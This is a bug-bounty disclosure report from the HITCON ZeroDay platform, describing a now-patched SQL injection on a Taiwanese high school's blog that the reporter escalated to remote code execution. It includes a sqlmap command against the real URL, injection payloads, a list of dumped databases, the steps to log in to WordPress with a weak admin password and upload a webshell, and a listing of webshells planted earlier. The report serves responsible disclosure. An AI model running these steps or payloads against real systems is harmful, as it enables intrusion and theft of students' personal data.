國立宜蘭高級中學 sql injection 到 RCE - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2021-00377
  •  發信 Vendor: TACERT台灣學術網路危機處理中心
  • Title: 國立宜蘭高級中學 sql injection 到 RCE
  • Introduction: sql injection 到 RCE

處理狀態

目前狀態

公開
Last Update : 2021/07/17
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2021/07/09 16:31:53 : 新提交 (由 entroy 更新此狀態)
  • 2021/07/09 16:33:03 : 新提交 (由 entroy 更新此狀態)
  • 2021/07/09 16:34:17 : 新提交 (由 entroy 更新此狀態)
  • 2021/07/09 16:38:04 : 新提交 (由 entroy 更新此狀態)
  • 2021/07/11 23:01:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/12 11:45:48 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/12 11:45:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/12 11:45:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/13 15:11:07 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2021/07/13 15:13:14 : 確認已修補 (由 entroy 更新此狀態)
  • 2021/07/17 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2021-00377
  • 通報者:entroy (entroy)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://blog.ylsh.ilc.edu.tw/fix/fixedview.php?id=8144

敘述

sql injection

丟 sqlmap

sqlmap https://blog.ylsh.ilc.edu.tw/fix/fixedview.php?id=8144 --level 5 --risk 3 --batch --random-agent

result:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=8144 AND 5123=5123

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=8144 AND (SELECT 5399 FROM (SELECT(SLEEP(5)))LCui)

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: id=-7471 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171707171,0x4d4b7648555371464a455756774d6d48764977447470704b49467570666a767a59624d6f78536441,0x716b6b6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---

之後 dump 一下資料庫

available databases [47]:
[*] 100apply
[*] 100caac
[*] 101apply
[*] 101caac
[*] 102apply
[*] 102caac
[*] 103apply
[*] 103caac
[*] 104apply
[*] 104caac
[*] 105apply
[*] 105caac
[*] 99apply
[*] 99caac
[*] 99star
[*] Counter
[*] course107
[*] dgesiow_geo
[*] dgesiow_reg97
[*] dgesiow_wp
[*] fix
[*] good
[*] igp104
[*] igp105
[*] igp106
[*] igp107
[*] igp108
[*] igp109
[*] information_schema
[*] life
[*] life2015bak
[*] moodle
[*] mysql
[*] newtea
[*] reg_100newcome
[*] reg_101newcome
[*] reg_102newcome
[*] reg_103newcome
[*] reg_104newcome
[*] reg_105newcome
[*] reg_97newcome
[*] reg_98newcome
[*] reg_99newcome
[*] student
[*] studypool
[*] test
[*] ylshalbum

p.s. dump 出 mysql.user 的資料 有一組管理員的帳號密碼是弱密碼

RCE

從 wordpress 下手
用 dump 出的帳號密碼登入 admin
之後處理一下上傳的位置跟限制的副檔名
上傳 webshell

已經有人在上面上傳過 webshell 拉

-rw-r--r--   1 apache   apache        217 Jul  5  2018 777.php
-rw-r--r--   1 apache   apache        227 Jul  5  2018 8881.php
-rw-r--r--   1 apache   apache        212 Jul  5  2018 999.php
-rw-r--r--   1 apache   apache         55 Jul  5  2018 cmd.php
-rw-r--r--   1 apache   apache         19 Jul  5  2018 phpinfo.php

阿彌陀佛 善哉善哉

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;